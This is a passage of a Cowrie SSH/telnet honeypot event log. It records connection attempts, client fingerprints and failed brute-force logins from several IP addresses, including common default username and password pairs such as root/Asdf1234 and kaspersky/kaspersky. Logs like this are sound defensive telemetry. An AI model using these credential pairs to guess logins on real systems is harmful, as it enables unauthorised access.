"ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:47.342401Z","src_ip":"91.92.40.36","session":"4e0e97a027b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":33478,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb25f335597e","protocol":"ssh","message":"New connection: 103.84.236.242:33478 (159.203.135.109:22) [session: cb25f335597e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:50.009395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:50.013753Z","src_ip":"103.84.236.242","session":"cb25f335597e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf1234","message":"login attempt [root/Asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:50.097075Z","src_ip":"91.92.40.36","session":"4e0e97a027b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:50.251662Z","src_ip":"103.84.236.242","session":"cb25f335597e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345","message":"login attempt [devops/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:51.237635Z","src_ip":"103.84.236.242","session":"cb25f335597e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:51.906327Z","src_ip":"91.92.40.36","session":"4e0e97a027b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:52.478622Z","src_ip":"103.84.236.242","session":"cb25f335597e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59354,"dst_ip":"10.17.0.5","dst_port":22,"session":"441476392211","protocol":"ssh","message":"New connection: 91.92.40.36:59354 (10.17.0.5:22) [session: 441476392211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:54.832809Z"}
{"eventid":"cowrie.session.closed","duration":45.76612210273743,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:55.188594Z","src_ip":"128.199.8.54","session":"3939d2a92a5c","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:55.414176Z","src_ip":"91.92.40.36","session":"441476392211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:55.450090Z","src_ip":"91.92.40.36","session":"441476392211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:57.882512Z","src_ip":"91.92.40.36","session":"441476392211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:49:59.657005Z","src_ip":"91.92.40.36","session":"441476392211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":60402,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c413694710d","protocol":"ssh","message":"New connection: 27.71.230.31:60402 (159.203.135.109:22) [session: 8c413694710d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:02.683197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:02.754614Z","src_ip":"27.71.230.31","session":"8c413694710d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58804,"dst_ip":"10.17.0.5","dst_port":22,"session":"f756039533c3","protocol":"ssh","message":"New connection: 91.92.40.36:58804 (10.17.0.5:22) [session: f756039533c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:04.432106Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":56632,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3b88053df6b","protocol":"ssh","message":"New connection: 129.146.243.24:56632 (159.203.135.109:22) [session: e3b88053df6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:04.483947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:04.500871Z","src_ip":"129.146.243.24","session":"e3b88053df6b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:04.515584Z","src_ip":"91.92.40.36","session":"f756039533c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:04.590957Z","src_ip":"129.146.243.24","session":"e3b88053df6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kaspersky","password":"kaspersky","message":"login attempt [kaspersky/kaspersky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:04.995600Z","src_ip":"129.146.243.24","session":"e3b88053df6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:05.064890Z","src_ip":"91.92.40.36","session":"f756039533c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:05.498127Z","src_ip":"27.71.230.31","session":"8c413694710d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:06.093677Z","src_ip":"129.146.243.24","session":"e3b88053df6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"UserRoot2025","message":"login attempt [root/UserRoot2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:08.891160Z","src_ip":"27.71.230.31","session":"8c413694710d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61480,"dst_ip":"10.17.0.5","dst_port":22,"session":"848e3486219c","protocol":"ssh","message":"New connection: 91.92.40.36:61480 (10.17.0.5:22) [session: 848e3486219c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:09.674308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:10.214108Z","src_ip":"91.92.40.36","session":"848e3486219c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:10.217533Z","src_ip":"91.92.40.36","session":"848e3486219c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456789","message":"login attempt [user/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:11.021829Z","src_ip":"91.92.40.36","session":"f756039533c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:11.074344Z","src_ip":"27.71.230.31","session":"8c413694710d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"password","message":"login attempt [web/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:12.843888Z","src_ip":"91.92.40.36","session":"848e3486219c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:13.540572Z","src_ip":"91.92.40.36","session":"f756039533c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:14.766428Z","src_ip":"91.92.40.36","session":"848e3486219c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50416,"dst_ip":"159.203.135.109","dst_port":23,"session":"47670f48b8c9","protocol":"telnet","message":"New connection: 128.199.8.54:50416 (159.203.135.109:23) [session: 47670f48b8c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:17.964760Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50994,"dst_ip":"10.17.0.5","dst_port":22,"session":"57ef58d0dac2","protocol":"ssh","message":"New connection: 91.92.40.36:50994 (10.17.0.5:22) [session: 57ef58d0dac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:18.361661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:19.279094Z","src_ip":"91.92.40.36","session":"57ef58d0dac2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:20.078955Z","src_ip":"91.92.40.36","session":"57ef58d0dac2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:23.738949Z","src_ip":"91.92.40.36","session":"57ef58d0dac2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53370,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d94b976d671","protocol":"ssh","message":"New connection: 91.92.40.36:53370 (10.17.0.5:22) [session: 1d94b976d671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:25.938275Z"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:25.947688Z","src_ip":"91.92.40.36","session":"57ef58d0dac2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:26.022216Z","src_ip":"91.92.40.36","session":"1d94b976d671","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:26.140769Z","src_ip":"91.92.40.36","session":"1d94b976d671","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"openmediavault","message":"login attempt [root/openmediavault] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:26.797930Z","src_ip":"91.92.40.36","session":"1d94b976d671","protocol":"ssh"}
